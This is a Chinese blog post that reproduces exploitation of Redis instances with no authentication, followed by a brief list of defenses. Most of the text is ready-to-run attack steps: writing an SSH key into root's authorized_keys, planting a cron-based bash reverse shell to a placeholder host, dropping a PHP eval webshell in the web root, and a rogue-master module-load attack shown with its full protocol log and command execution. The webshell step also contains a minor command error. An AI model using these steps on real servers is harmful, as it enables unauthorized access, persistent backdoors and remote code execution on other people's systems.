首页 > 数据库 >Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

时间:2023-01-08 10:23:36浏览次数:64  
标签:set 6379 Redis redis 漏洞 xx 复现 config ssh

redis数据库默认无密码认证,当数据库未设置认证时,即存在未授权漏洞,可以导致服务器被远控等危害。

复现

使用客户端连接redis远程服务器

./redis-cli -h 127.0.0.1 -p 6379

查看服务器信息

info

image

连接成功后的一些常用命令

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test "whoami"
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]

Getshell

方法一:

上传SSH密钥进行登录(前提是开启了ssh服务,目标机器root权限启动redis)

1、本地生成ssh密钥

ssh-keygen -t rsa #会创建id_rsa私钥和id_rsa.pub公钥

image

2、将公钥文件内容写入一个txt

(echo "\n\n";cat id\_rsa.pub)>test.txt #使用\n避免和其他redis缓存数据混合

image

3、将公钥发送到对方redis服务器的缓存中

cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello

image

4、利用redis-cli写配置的方式将公钥写入ssh目录

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上

image

5、利用私钥远程登录redis的22端口

ssh -i /root/.ssh/id_rsa [email protected]

image

方法二:

定时任务写入反弹shell

1、在redis中写入定时任务

set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

2、在攻击机上监听6666端口等待反弹shell

nc -lvp 6666

方法三:

直接写入webshell(需要对方开启了web服务和知道web路径,并有读写权限)

1、redis命令写入webshell

set x "\n\n\n<?php @eval($\_POST['a']);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/
config dbfilename 1.php
save

2、直接访问web下的1.php进行连接

方法四:

主从getshell(适用版本redis 4.x/5.x)

目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。

利用脚本:https://github.com/LoRexxar/redis-rogue-server

1、首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'

2、登录从机(也就是未授权主机)直接执行系统命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"

防御方式

1.关闭6379。关闭对外端口防止攻击者利用

2.设置密码登录。不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。

3.服务器以低权限运行redis服务

4.禁用高危命令
修改 redis.conf 文件,添加如下内容来禁用远程修改 DB 文件地址

 rename-command FLUSHALL ""
 rename-command CONFIG ""
 rename-command EVAL ""

标签:set,6379,Redis,redis,漏洞,xx,复现,config,ssh
From: https://www.cnblogs.com/hgschool/p/17034162.html

相关文章

  • 中间件漏洞——apache
    解析漏洞1、php配置引起的扩展名解析漏洞在mod_php与apache的模式下会出现该漏洞。该模式下php作为apache的子模块对代码进行解析,遇到匹配下面代码规则的文件,则继续当做......
  • 布隆过滤器与Redis的BitMap之区别
     布隆过滤器特点:占用空间更小;可以用来判断一个数据是否存在;布隆过滤器说有,那么该数据不一定,但是布隆说没有一定没有;优点:节省空间;缺点:1.会出现误判;......
  • 工作场景中的Redis主从不一致
    背景某种类型页面的数据缓存时间是6分钟,上沙盒之后,发现在该类型页面下不同的实际页面的数据有些展现,有些不展现,此外,刚刚展现的同一个页面刷新后数据就不展现了,再刷新又展......
  • 安卓应用漏洞学习-Content Provider组件的自定义权限
    前期回顾漏洞免费实战部分-安卓应用层getLastPathSegment函数问题漏洞实战部分2-安卓应用ZipEntry对象问题实战漏洞实战部分3-ContentProvider组件的openFile接口问题......
  • XSS跨站脚本漏洞
    XSS跨站脚本漏洞一、XSS跨站脚本概念1.攻击目标动态网页的邮件、留言板、论坛、搜索栏等(直接攻击客户端浏览器)2.xss的危害①网络钓鱼,包括盗取各类用户账号②窃取用......
  • Redis查询之RediSearch和RedisJSON讲解
    目录1Redis查询1.1RedisMod介绍1.2安装Redis1.3RediSearch+RedisJSON安装1.3.1下载安装1.3.2修改配置1.4RedisJSON操作1.4.1基本操作1.4.1.1保存操作JSON.SET1.4.......
  • 文件上传之解析漏洞及编辑器安全
    各个平台解析漏洞讲解参考文献:中间件漏洞IIS6/7简要说明-本地搭建Apache配置安全—vulhub.htaccessApache解析漏洞-低版本符合Apache低版本就有漏洞x.php.xxx.yyy......
  • Redis
    Redis安装1、Redis官网下载2、tarzxvfredis目录-C/usr/local3、安装gccyuminstallgcc-c++4、编译(在/usr/local/redis目录)make5、执行(进入src目录)makei......
  • Linux:使用snap安装Redis
    文档官网​​https://snapcraft.io/​​红帽Linux平台下安装教程​​https://snapcraft.io/docs/installing-snap-on-red-hat​​搜索应用​​https://snapcraft.io/se......
  • 天权信安&catf1ag web复现
    0x01POP<?phpclasscatf1ag1{public$hzy;public$arr; function__show() { show_source(__FILE__); }function__wakeup(){ for......